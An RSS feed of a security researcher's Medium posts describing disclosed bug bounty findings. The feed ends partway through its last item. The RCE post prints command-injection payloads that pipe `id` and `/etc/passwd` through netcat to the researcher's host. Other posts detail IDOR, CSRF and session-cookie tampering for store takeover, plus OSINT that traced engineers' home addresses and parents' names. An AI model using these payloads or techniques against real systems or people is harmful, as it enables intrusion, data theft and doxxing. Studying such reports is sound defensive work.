<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Uranium238s on Medium]]></title>
        <description><![CDATA[Stories by Uranium238s on Medium]]></description>
        <link>https://medium.com/@uranium238?source=rss-b38782431a04------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*XLlZOmHCm_kDTTO_mfXZ-A.png</url>
            <title>Stories by Uranium238s on Medium</title>
            <link>https://medium.com/@uranium238?source=rss-b38782431a04------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 12:04:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@uranium238/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Getting a RCE — CTF Way]]></title>
            <link>https://medium.com/@uranium238/getting-a-rce-ctf-way-2fd612fb643f?source=rss-b38782431a04------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fd612fb643f</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Uranium238s]]></dc:creator>
            <pubDate>Tue, 05 Dec 2017 19:45:55 GMT</pubDate>
            <atom:updated>2017-12-06T06:50:03.004Z</atom:updated>
            <content:encoded><![CDATA[<p>Recently I was invited to a private program of a company. As a fresh start, I decided to look around and see what I could find. This company, required that I verify my account with some confidential information so I reached out to their sec engineers and team on how this could be done. Once the verification was done by adding some fake data, I moved onto to find some severe vulnerability. One of them was a RCE on their server. Most of the details here will be a redacted version to keep confidential information, private.</p><p>When I first started in this app, I knew they were vulnerable for RCE. Gut feeling combined with some recon gave me the feeling that I could get a RCE. It was just a matter of where and how. Like I always do, I played with the app for a while and made a list of features that could have this vulnerability. For example file upload was something that was in top of my list. I tried some steps to upload php or even html to just see if I could upload a file. Unfortunately, it was pretty tight in security on file uploads so I decided to move on.</p><p>After that I moved onto another endpoint, lets call this endpoint_lvl1 . This was used to send some request to another vendor to buy some product. It needed the price of the product and the user id. This was likely using an API or some form of request. In PHP you can do this multiple ways. curl request, simple api request and many more. I have basic experience of PHP so I decided to layout / program possible source code for that part. This way I could visualize the code as it happened. The request was sending my product price and user id. And in result, it will either result something like Successfully bought the product and reduce the balance from the account or it would say something like I could not get the user account. If you don&#39;t have a user account on this vendor, create one please .</p><p>When there was no response form the vendor’s server, it sent a 500 Internal server error. Now comes the part of CTF hunting. The recon that I had done before had confirmed that they had RCE and it should not be hard to find. So if this was the endpoint that was vulnerable to RCE then there should not be much work needed. I also noticed that while other things might change, the length of user id was always the same. If it was less than that, it would send an error asking user to Put a valid user id. Now because we know this uses PHP and because this is vulnerable to RCE, I had to eliminate some option. API would be hard to get RCE with unless there was some really shady stuff going on there. So I went with sth that no one could have possibly thought of :</p><ol><li>Curl</li><li>file_get_contents</li><li>and if it is really vulnerable how about having a shell_exec() or system()</li></ol><p>I went to test with each and everyone of it. I created a local instance on my server, creating vulnerable PHP with each types to get RCE, that way I tried a small payload to see how it works for each. Curl and file_get_contents did not work. shell_exec() kept bugging me on how it could potentially work. Along with that, there were some more behaviors that stood out.</p><p><strong>Exploit:</strong></p><p>During the analysis of the application, as previously stated, when a product was bought, an external call was made. However this request never showed up on Burp. This was interesting and because this was php, I thought it could be something like: shell_exec(&#39;curl {website with request}&#39;) . This way the request will never go to burp and the system will be able to run the cURL request.</p><p>So a sample code will have an activity like this:</p><ol><li>User enters the ID which will be used to buy the product</li><li>The ID is then sent to external website in format like this:</li></ol><pre>shell_exec(&#39;curl -X POST -d &quot;strCommand=GETUSERINFO&#39;.&#39;&amp;strParam1=&#39;.&#39;|user=&#39;.$_POST[&#39;user_id&#39;].&#39;|&quot; &#39;.$url.&#39; -k&#39;);</pre><p>The ID was supposed to be 7 character longs but they did not check if the ID was an int or a string and simply checked the first character to deduce that it was an int so if we simply have 1xxxxxx then we would bypass that. So now with a sample request that could look like something above, I sent a payload: 1xxxxxxxxxx`sleep 5`<strong> . </strong>This payload will bypass the string check and at the same time, allow me to run a command through shell_exec(). Once the request was sent, there was a delay of 5 seconds.</p><p>Next, I sent: 1xxxxxxxxxxxxx`id | nc {my_ip} 80` and the server successfully received the server user id which could be something like this: uid=0(root) gid=0(root) groups=0(root).</p><p>After that, I launched a request for /etc/passwd and got its content as well with this payload:</p><p>1xxxxxxxxxxxxx`cat /etc/passwd| nc {my_ip} 80`</p><p>Timeline: (Date and time are from h1 system)</p><p>July 3, 2017 03:37:23-Report submitted</p><p>July 3, 2017 03:47:20-Report Triaged</p><p>July 3, 2017 03:58:44-A pretty detailed writeup about how this work was sent</p><p>July 8, 2017 — Vulnerability Fixed</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fd612fb643f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Developer Luminate IDOR]]></title>
            <link>https://medium.com/@uranium238/developer-luminate-idor-e8c40b03dd2f?source=rss-b38782431a04------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8c40b03dd2f</guid>
            <category><![CDATA[yahoo]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Uranium238s]]></dc:creator>
            <pubDate>Wed, 30 Aug 2017 21:29:33 GMT</pubDate>
            <atom:updated>2017-08-30T21:29:33.866Z</atom:updated>
            <content:encoded><![CDATA[<p>Continuing on my work in Yahoo’s bug bounty program, another app i tested was: <a href="https://developers.commercialcentral.luminate.com/">Luminate Developer</a> app. In this application, I can create apps that website admins can install to their store from Luminate app store. App makers can also use this app to see the statics of their apps: who installed it (emails and website of the admins).</p><p>When I started testing, I noticed that to retrieve the statics of the app, a certain JSON request was made. It was a GET request that would request the statistics based on the app token. This was the url that would retrieve the JSON file:</p><pre><a href="https://developers.commercecentral.luminate.com/admin/apps/[apptoken]/installs.json?random=true&amp;start=0&amp;limit=8&amp;_=1502762696055">https://developers.commercecentral.luminate.com/admin/apps/[apptoken]/installs.json?random=true&amp;start=0&amp;limit=8&amp;_=1502762696055</a></pre><p>First, I created two different accounts (account A and account B) and created two apps (app 1 and app 2) to test out the IDOR. At first, when putting app token, from another account no error was thrown. After that, I decided to use my second account (account B) and installed that app (account 2) to a test commercial center account. Once the installation was done, we could test the IDOR and when we browsed to the link with account A, it successfully showed the installed statistics (cannot post pic here for privacy reasons).</p><p>Next issue was to get the app token. For my test run, I already had the app token. <strong>How would an attacker get an app token of a well known app in Luminate?</strong></p><p>To test this, I went to Luminate’s commercial central and installed an app. During installation, it was noted that when I browsed the installation page, it would use the following request:</p><pre>GET /admin/apps/live/settings/[appname]?store_url=[store_url]&amp;pid=YS.×tamp=1502936968&amp;proxy_app=1&amp;token=[token]&amp;app_token=[app_token]&amp;email=[user_email]&amp;p=YS&amp;id=[id]&amp;signature=asdasd84949823asfasd HTTP/1.1<br>Host: embed.commercecentral.luminate.com<br>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Referer: https://embed.commercecentral.luminate.com/admin/apps/[app_name]<br>Cookie: [redacted_cookies]<br>Connection: close<br>Upgrade-Insecure-Requests: 1</pre><p>So now, we could grab the `app_token` from the url, and paste that to the JSON request. This would give list of all users who installed that app in their page.</p><p>Shoutout to Yahoo once again. :) I am looking forward to finding more bugs on their platform again. <br>Cheers!<br>uranium238</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8c40b03dd2f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Luminate Store Basics defacement and potential takeover]]></title>
            <link>https://medium.com/@uranium238/luminate-store-basics-defacement-and-potential-takeover-9cf336fac8e5?source=rss-b38782431a04------2</link>
            <guid isPermaLink="false">https://medium.com/p/9cf336fac8e5</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[yahoo]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Uranium238s]]></dc:creator>
            <pubDate>Wed, 30 Aug 2017 19:13:54 GMT</pubDate>
            <atom:updated>2017-08-31T00:07:10.191Z</atom:updated>
            <content:encoded><![CDATA[<p>This vulnerability was found when testing the Stores Basic service of Luminate. In this service, we can create a store from where we can sell our products. Luminate service provides a whole CMS for this activity. Here is the snapshot of the backend of the CMS:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j4Rqv1DJ4E5RERPMXSgO0Q.png" /><figcaption>Store Basics’ Dashboard</figcaption></figure><p>I first ran some CSRF test in the Settings section of this app. In the settings, user can add business information that will be used by Luminate to contact the admin. Along with that, they can also upload Logo and add title for the website. My initial test gave me a successful CSRF attack. I will explain each step below because the generation of attack was complex at first.</p><p>Update: this blog covers two main bugs together: 1) CSRF In Luminate allowing to update business information 2) Session issue in Luminate allowing you to modify another user’s data remotely. One has higher impact than the other.</p><h4>Getting the CSRF</h4><p>When a business information is modified, a POST request is made to:</p><pre>https://www.luminate.com/ordermgr/_module?ysbparams={ysb_param}&amp;modulename=ysb-mui-apps&amp;action=save_site_settings</pre><p>In the POST request JSON request like this is passed:</p><pre>{&quot;bizprofile&quot;:{&quot;info&quot;:{&quot;name&quot;:{&quot;titlepage&quot;:&quot;sec&quot;},&quot;category&quot;:&quot;&quot;,&quot;tagline&quot;:{&quot;text&quot;:&quot;&quot;},&quot;description&quot;:&quot;Stay tuned! We&#39;re updating this section to bring you everything you want to know about our business. We can&#39;t wait to tell you more!&quot;},&quot;media&quot;:{&quot;logo&quot;:{&quot;desktop&quot;:{&quot;image&quot;:&quot;logourl&quot;},&quot;mobile&quot;:{&quot;image&quot;:&quot;&quot;}}},&quot;contact&quot;:{&quot;phone&quot;:&quot;&quot;,&quot;email&quot;:&quot;adminemail&quot;,&quot;location&quot;:{&quot;street&quot;:&quot;&quot;,&quot;city&quot;:&quot;&quot;,&quot;state&quot;:&quot;&quot;,&quot;country&quot;:&quot;United States&quot;,&quot;zip&quot;:&quot;&quot;}},&quot;accountcontact&quot;:{&quot;firstname&quot;:&quot;first_name&quot;,&quot;lastname&quot;:&quot;last_name&quot;,&quot;phone&quot;:&quot;phone_number&quot;,&quot;email&quot;:&quot;email_id&quot;,&quot;address&quot;:{&quot;street&quot;:&quot;street_address&quot;,&quot;city&quot;:&quot;admin_city&quot;,&quot;state&quot;:&quot;state&quot;,&quot;country&quot;:&quot;United States&quot;,&quot;zip&quot;:&quot;zip_code&quot;}}},&quot;siteObj&quot;:{&quot;favicon&quot;:&quot;site_favicon&quot;,&quot;robots&quot;:&quot;&quot;}}</pre><p>ysbparams parameter in the url specifically stood out during the testing because it had ==in the end. We went with the idea that this could be a base64 and it was indeed a base64. Once decoded, we got something like this: (this is edited to hide information)</p><pre>{&quot;appid&quot;:&quot;settings&quot;,&quot;bizid&quot;:&quot;ys-123456789-9&quot;,&quot;bizurl&quot;:&quot;http://storeurl.com&quot;,&quot;lang&quot;:&quot;en-us&quot;}</pre><p>Once that was decoded, I had to identify ways to get the bizid parameter. I noticed that this could easily be grabbed from the source code of the store url. So I could change that and encode the JSON then edit the url with new ysbparam. Initially, when testing this CSRF it did not work, because the server only accepted Content-Type: application/json. So in the end, I used AJAX to send a request with the type set as application/json.</p><h4>CSRF -&gt; Takeover</h4><p>After I had the CSRF, I decided to dig deeper and noticed that in the POST request there was a certain cookie called ysbauth. This cookie was also base64 encoded. Following is an example of base64 encoded ysbauth.</p><pre>eyJiaXppZCI6InlzLTEyMzQ1Njc4OS05IiwieXNicGFyYW1zIjoieXNiX3BhcmFtX2Jhc2U2NCwieWlkIjoiZW1haWwiLCJhcHBpZCI6InNldHRpbmdzIiwiYml6dXJsIjoiaHR0cCUzQSUyRiUyRnN0b3JldXJsLmNvbSIsImxhbmciOiJlbi11cyIsInRpbWVzdGFtcCI6IjE1MDI0ODg0NjcuMTk0Iiwic2lnbmF0dXJlIjoiMTkyOThjMTVhNzg0N2Y2ODY3Y2U1Y2VhMTZkMmViZGM5ZmEzNzM5ZSJ9</pre><p>When we deocde the base64, we get the following JSON:</p><pre>{&quot;bizid&quot;:&quot;ys-123456789-9&quot;,&quot;ysbparams&quot;:&quot;ysb_param_base64,&quot;yid&quot;:&quot;email&quot;,&quot;appid&quot;:&quot;settings&quot;,&quot;bizurl&quot;:&quot;http%3A%2F%2Fstoreurl.com&quot;,&quot;lang&quot;:&quot;en-us&quot;,&quot;timestamp&quot;:&quot;1502488467.194&quot;,&quot;signature&quot;:&quot;19298c15a7847f6867ce5cea16d2ebdc9fa3739e&quot;}</pre><p>During testing, I found that if I only change the bizid in the ysbauth to one of our victims, I could successfully modify the file. For this attack, first I change the YSBParam by changing bizid and biz_url (like we did for the CSRF) and change the ysbauth with victim’s bizid. Once that is done you could modify the business information of your victim.</p><p>After 1 hr of complete testing, I found that all the modules in Store Basics were vulnerable. We could add our own Google Analytics code to the website which would allow monitoring of the website, we could also view coupons of other sites, add products and conduct many other attacks. This concluded that when ysbauth was manipulated, it basically gave access to another user’s session allowing us to modify their store basics profile.</p><p>Special thanks to the Yahoo security team for being extremely responsive and fast in the fix. I recommend all hackers to try Yahoo!’S bug bounty.</p><p>Cheers!</p><p>uranium238</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9cf336fac8e5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack more, learn more, earn more and get invited more.]]></title>
            <link>https://medium.com/@uranium238/hack-more-learn-more-earn-more-and-get-invited-more-f3fc3c4c67d8?source=rss-b38782431a04------2</link>
            <guid isPermaLink="false">https://medium.com/p/f3fc3c4c67d8</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bugcrowd]]></category>
            <category><![CDATA[togetherwehitharder]]></category>
            <category><![CDATA[hackerone]]></category>
            <dc:creator><![CDATA[Uranium238s]]></dc:creator>
            <pubDate>Sun, 27 Aug 2017 01:03:35 GMT</pubDate>
            <atom:updated>2017-08-27T05:17:59.614Z</atom:updated>
            <content:encoded><![CDATA[<p>This blog is not a writeup for a bug but instead is something that all hackers should know when they are reporting a bug. All platform like HackerOne and Bugcrowd have different ways each reports are handled: <em>won’t fix, duplicate,Not Applicable, Informative</em> etc. Each of these will reflect on points you get for example in HackerOne your Signal is average of your reputation, so the more N/A &amp; Informative the less your signal gets. This also impacts your reputation. There is a chain reaction for this because once all of them go down, algorithms designed to automatically invite hackers to private programs will not invite hackers with low signals and reputation. So how can you hack more, learn more, earn more and get invited more? Here are few tips:</p><h4>How to approach a target?</h4><p>Bug bounty all comes down to understanding your target. Usually you do not have source code of the app so you cannot just pin point a vulnerability. You will have to understand how the app works, what kind of services it has and what are the permissions in the app. To better answer this question, I will provide a “completely” theoretical app to you:</p><p><em>There is a web app called awesomecompany.com and they recently launched a bug bounty. They allow you to buy bitcoins after you are a verified user.</em></p><p>So how will you approach this:</p><p>First make sure you understand the application. This means actually use the application. Do not think as a hacker <em>just yet</em>. Note every endpoint you use. Try to understand what they do for example: 1) Identity verification, 2) Buying and selling bitcoins, 3) Account 2FA for protection, 4) Profile updates, 5) messages you can send when buying or selling bitcoins to other users. These are couple of vulnerabilities I can think top of my head.</p><p>Targeting the app:</p><p>Now once you have the idea of what you can find, let your recon tools find other vulnerabilities like subdomain takeover, aws buckets, api keys and credentials, hardcoded auths etc. .</p><p>Next, use your prior knowledge to strategically test part of applications that are critical for example what if you can get access to someone else’s identity verification file? Can you do a bXSS out of the identity verification process? How does the 2FA security check work? Can you update someone else’s profile with IDOR and change their email for account takeover? Can you XSS someone with a message you send to them when transferring bitcoin?</p><p>In general, make sure you use the app at least for about 30 Minutes to 1 hour. Do not start reporting right away, make sure you check for impacts and all other conditions before reporting.</p><h4>How to report a bug?</h4><p>Now this is something that comes up a lot. The main question here is: What is important? Quantity or Quality? In many cases Quality is extremely important for the bug to be triaged. If you just write something like this:</p><pre>Hi, <br>I found a CSRF on your site. You can change profile information in example.com/profile/account and do account takeover. Here is picture of the request that is sent. <br>Thanks!<br>@yourname</pre><p>Ok..so you told them that the endpoint at /profile/account is vulnerable to CSRF. In the triage side, now the company has to reproduce this. They have to go to their account, use Burp to generate CSRF poc and reproduce this. This might not take much but compare that above report to this:</p><pre>Hi,</pre><pre># Summary <br>During the testing of the endpoint, `/profile/update` it was noticed that a POST request is sent. The request looks like this: <br>{Picture}<br>In that, we see no CSRF protection which allows attacker to modify information of another user. </pre><pre># Reproduction<br>To reproduce, simply download the HTML file or copy paste this code </pre><pre>```<br>{code}<br>``` and run it locally. </pre><pre># Impact<br>In that page, we can change our email without any authentication, so an attacker can change the email of their victim -&gt; reset the account password with new email. This will lead to automatic account takeover</pre><pre># Fix<br>A proper authentication of the form with randomized CSRF token will be good. Along with that, I personally recommend that you force user to put their current password when changing critical information like email.</pre><p>Which one is better? For triage the second report gives 1) the PoC exploit, 2) Gives impact scenario and 3) Gives a potential fix to the team.</p><h4>What to do after reporting a bug?</h4><p>Most platforms have a metric for each program. The metric explains certain facts like: Average response time, average bounty, highest bounty, average bounty period. If a program has average response time of 15 days and you start asking updates from the 2nd or 3rd day is that a good behavior?</p><p>Once the report gets triaged, be patience. If it takes more than 1 month then its one thing to ask for update. But asking for update within 5 days for a small CSRF is not a good habit. However, for example if you report a RCE, the case of the report being resolved is different. Whenever a hacker finds a RCE, companies do not close reports as resolved right after the fix. They have to run a forensics check to make sure it was not exploited before.</p><h4>What bugs should you refrain from reporting?</h4><p>There are couple of bugs that you should make sure you never report. Main thing to remember: “See Something, Say Something” does not mean you report any weird issues you see. Never report bugs like these:</p><ol><li>Content spoofing in 404 pages or anywhere. Unless you can get a HTML injection or make it a XSS content spoofing is not really a big deal.</li><li>SPF/DMARC/DKIM weakness/missing &amp; email spoofing: These all are linked, email spoofing is result of how a email vendor sees the SPF record of the domain. Email spoofing is more a phishing attack and most of them usually land on the spam box. If one mail service takes it Inbox does not mean all will do the same. Do not report these bugs.</li><li>Logout CSRF: Ok you can logout a user. But what is the issue with that? Can you exploit it make it dangerous, if not do not report it.</li><li>Email spamming or as some call it “Email Bombing”: A company has a reset password function, that you can use to send a lot of emails to user. It will annoy a user but how is that a security issue? That is a UI bug more than a security issue. If companies start paying for UI bug then I would make millions.</li><li>Banner grabbing: lets say you find that someone is using a certain version of wordpress, or certain version of apache2/nginx. Do not report it unless you can use some kind of vulnerability it has to exploit something. If a public announcement says that certain version of wordpress of RCE, do not report it unless you can prove that the site is also vulnerable to RCE i.e. test it and see if it is vulnerable or not.*</li><li>Never ever report a bug and just leave a reference to another report thinking that will explain the vulnerability. Each companies has its own policy and its system on how different app works. Referring something from totally different company does not make sense.</li></ol><p>That is all for today. If I think of other things to not report (there are more than 6 for sure, I will add them here).</p><h4>How to be a good hacker</h4><p>If you submit a bug that was a false positive and it gets closed as N/A, never reply with a message saying “Hi, can you please close this as Informative, it hurts my reputation?”. These kind of texts leave a bad impact for the company. They want to help hackers (trust me when I say this) but at the same time, they do not want to close all reports as Informative. Companies grow along with hackers, they learn from each report that is sent to them. Hackers learn from companies based on how companies handle each bugs. Some companies like Gratipay are really good at transparency. When a code is fixed, they put it out so users can see where the vulnerability was. As a hacker, you should always be willing to learn. If your bug gets closed as N/A and unless you are absolutely sure that it should not be closed as such, do not argue. If you believe that you missed something on the report for example you did not realize they had other authentications besides CSRF, ask them, be enthusiastic.</p><p>Bug bounty is not just to earn money but it is to learn and grow. No one is perfect, we learn each day with each bugs we find.</p><h4>How to grow as a hacker?</h4><p>Researching and knowing about different vulnerability is what helps a hacker succeed. Constantly check for new bugs that are disclosed. I personally recommend following: <a href="https://hackerone.com/hacktivity">https://hackerone.com/hacktivity</a> and seeing disclosed reports. Make sure you understand how each bugs were found and what impact of them were. Never and I repeat NEVER copy paste a publicly disclosed report and send it to multiple programs because programs can easily detect spams. Secondly, try to practice the vulnerable. Create a vulnerable application that will match the disclosed vulnerability and see if you can break it.</p><p>If you feel stuck ask questions but when you do be polite and patience. Everyone in the community wants to help you but keep asking them the same question and not following their advice will make them block you instead of responding.</p><p>In the end, always have patience. When you start out in the security world you won’t find RCE right away on top programs. Start learning and growing. Never take shortcuts. Here is my favorite quote: “Fake it till you make it does not work in security”.</p><p>Cheers!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f3fc3c4c67d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The ultimate solve of the “easiest” CTF]]></title>
            <link>https://medium.com/@uranium238/the-ultimate-solve-of-the-easiest-ctf-699d4b2e6b79?source=rss-b38782431a04------2</link>
            <guid isPermaLink="false">https://medium.com/p/699d4b2e6b79</guid>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Uranium238s]]></dc:creator>
            <pubDate>Sun, 13 Aug 2017 03:22:28 GMT</pubDate>
            <atom:updated>2017-08-13T03:37:05.953Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Starting time:</strong></h3><p>When I first saw the document of the CTF, I thought it was gonna be relatively easy. Seeing the hex code made me chuckle so I decoded it right away:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*81P7MTajoY4WNkbl4eBCYg.png" /></figure><p>When I saw that I was like “WTF?”. So definitely something was wrong.</p><p><em>Hint: MSB shifts</em>​</p><p>So basically the hex are messed up. Lets get to fixing. I had a lot of time in my hand, so instead of writing a code, I did it myself and got:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*9ThlEse1eAKG1Rhm2d80rA.png" /></figure><h3><strong>Bang my head time:</strong></h3><p>So I have these that I need to crack:</p><pre>“old_password”: “:\xC7\xF4\nLxAF))7C\x15\xD0\xF3\xDEiU;”</pre><pre>“new_password”: “9\xFA\x99\xCA\xED\xF2XSG\xDD-\xC2\x8EzHk”,</pre><p>For sure these are hex but I got stuck in this for a long time. After thinking this through I played with some code and did</p><pre>hash = ‘:\xC7\xF4\n\xAF))7C\x15\xD0\xF3\xDEiU;’</pre><pre>print hash.encode(‘hex’)</pre><p>So that gave me this: 3ac7f40aaf2929374315d0f3de69553b</p><p>We all know that Jobert ❤ PHP. So how about some md5 runs? Welp, this is not md5 but then I took “reverse the password” seriously and reversed this and got: b35596ed3f0d5134739292faa04f7ca3</p><p>cracking md5 gave: <strong>p4ssw0rd</strong></p><p>Now comes the new password: 9\xFA\x99\xCA\xED\xF2XSG\xDD-\xC2\x8EzHk</p><p>I thought this was gonna be easy, so I pasted that in my code and ran but it did not work :(</p><p>Then I realized this has some weird stuff going. Fixing the hex gave me: \x39\xFA\x99\xCA\xED\xF2\x58\x53\x47\xDD\x2D\xC2\x8E\x7A\x48\x6b</p><p>Running it through the code gave a md5: b684a7e82cd2dd7435852fdeac99af93</p><p>Cracking that gave: 5990027d60d655641fb35b1e3dca9e75</p><p>Cracking that gave: <strong>thisiscrazy</strong></p><h3><strong>Relaxing my brain time:</strong></h3><p>So the old pass is: <strong>p4ssw0rd </strong>&amp;<strong> </strong>new pass is: <strong>thisiscrazy</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=699d4b2e6b79" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Privacy issue of FB employees]]></title>
            <link>https://medium.com/@uranium238/privacy-issue-of-fb-employees-a19a09d61d47?source=rss-b38782431a04------2</link>
            <guid isPermaLink="false">https://medium.com/p/a19a09d61d47</guid>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Uranium238s]]></dc:creator>
            <pubDate>Mon, 31 Jul 2017 04:51:15 GMT</pubDate>
            <atom:updated>2017-07-31T04:51:15.131Z</atom:updated>
            <content:encoded><![CDATA[<p>Sometimes while testing or just using an application, being aware of the environment that you are in is actually helpful. On the day of June 22, 2017 our team was posting the research that we had done internally to our FB Workplace site. During that, we decided to sync our Google Drive account to it and decided to merge reports from their to our workplace. This will help to lower the work load and will help us automatically upload files.</p><p>During the process, we noticed a really weird behavior in the app. When you start syncing your Google Drive account, it takes you to a google login page which looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iAFmnw8q2I2gM14JwycCOg.png" /><figcaption>Censored PIcture</figcaption></figure><p>The above picture is censored to hide our email accounts listed there. Right then we noticed that the word facebook.com was hyperlinked. Interestingly, after a little research we found that you can see developer info for the company (Facebook) who created this. This was an expected behavior like in Stackoverflow, when you click login with google and when it takes you to login page you can see developer info like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*7U4-AtXP7oJNmx9X849Eog.png" /></figure><p>The developer info for stackeoverflow.com shows that the email is <em>team@stackoverflow.com</em></p><p>When we checked that with FB we noticed a different behavior. We were expecting a Facebook company email (like devs@fb.com) to be there but instead it was a personal email of their software engineer. For the privacy nature of this report, we are hiding the email id:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*9BVUJjgNbZ1lIXq2dKy8AQ.png" /></figure><p>This was not the only email that was leaked, there are multiple part in Facebook where you can integrate your Gmail account/drive with your account, for examples in Groups while uploading files. Those are also leaking the email address. Some of those integrations were developed by different engineers so each had different email. This brings a pretty serious risk to privacy (read below for why) for the software engineers because we can find many information about them through those emails.</p><p>In one scenario, we were able to reverse search the email and found some information of the engineer which eventually lead to their potential home address. This was because they had use their personal email address to conduct other business which eventually leaked their address. We were able to confirm the address by looking up the developer in LinkedIn and noticed that the country and city mentioned in their LinkedIn account matched the city and the country from the address we had.</p><p>Similarly, one another employee had used this email previously (likely when they were young). During our research, we were able to find their previous home address, parents name and potential phone number of their parents’ home. These information seemed critical and were reported to FB.</p><p><em>It is always a best practice to use a universal team email like dev@company.com, team@company.com or oauth@company.com instead of a personal gmail to create such apps because you are creating it for a company not for your personal project.</em></p><p><em>Facebook was made aware of this issue on June 22, 2017. They decided on June 23, 2017 that this was not of a security concern to them. Report was reopened again and the bug was fixed. This was not a major security issue which put Facebook.com users at risk so it was decided that it was not eligible for bounty. I agree with FB’s decisions and appreciate them fixing this nonetheless.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a19a09d61d47" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LevelUp-online security conference]]></title>
            <link>https://medium.com/@uranium238/levelup-online-security-conference-3f3da8ae08bf?source=rss-b38782431a04------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f3da8ae08bf</guid>
            <category><![CDATA[conference]]></category>
            <dc:creator><![CDATA[Uranium238s]]></dc:creator>
            <pubDate>Thu, 13 Jul 2017 02:41:29 GMT</pubDate>
            <atom:updated>2017-07-13T02:41:29.036Z</atom:updated>
            <content:encoded><![CDATA[<p><em>First, I want to make things clear: I do not own property to any image or content that is in this blog. This is the property of Bugcrowd. Bugcrowd is the company behind the organization of this conference.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Jj2xIfW-QJWf-hTrTzgDQ.png" /></figure><p>Every year during the months of July, hackers from around the world get excited because July is the month of biggest meetup for hackers. In the city of Las Vegas, Nevada multiple conferences like Blackhat USA, DEFCON and BSidesLV occur. While most of the hackers and researchers are excited to attend the conference, some hackers are not able to attend these conferences due to multiple issues: education (tests), costs of travel, visas and many more issues. So this year, Bugcrowd has decided to launch a security conference online. This will give an excellent opportunity for all to attend the conference free of cost. There will be talks from excellent researchers from both HackerOne and Bugcrowd.</p><p>You can find the calendar here: <a href="https://docs.google.com/spreadsheets/d/1nKnwk3qVtoQlHs32atwwTIWjOHZ9kjnbwpPTJVfvKeo/pubhtml?gid=0&amp;single=true">https://docs.google.com/spreadsheets/d/1nKnwk3qVtoQlHs32atwwTIWjOHZ9kjnbwpPTJVfvKeo/pubhtml?gid=0&amp;single=true</a></p><p>In my opinion, whether or not you are able to attend the conferences in Vegas, you should for sure visit this conference. Facts are in one side, I have worked and seen these hackers work. Their experience and expertise are something that will help beginners to advanced researchers to learn about different ways to approach cybersecurity. From recon to IoT security and many more this conference is a perfect way to learn something new for free without any trouble of spaces.</p><p>Remember, everyone thinks the different way. These presenters might showcase some tools and strategies that might be extremely useful. Personally, nahamsec (Ben Sadeghipour) and yaworski (Pete Yaworski) have helped me a lot through their tools and books. Web Hacking 101 has helped me to understand different bugs and think out of the box.</p><p>I recommend that you attend this event. This Saturday: July 15, 2017.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f3da8ae08bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Content type mishap allowing any file upload in cabana.yahoo.com]]></title>
            <link>https://medium.com/@uranium238/content-type-mishap-allowing-any-file-upload-in-cabana-yahoo-com-1d58d71085a6?source=rss-b38782431a04------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d58d71085a6</guid>
            <category><![CDATA[ios]]></category>
            <dc:creator><![CDATA[Uranium238s]]></dc:creator>
            <pubDate>Wed, 12 Jul 2017 21:00:02 GMT</pubDate>
            <atom:updated>2017-07-12T21:00:02.077Z</atom:updated>
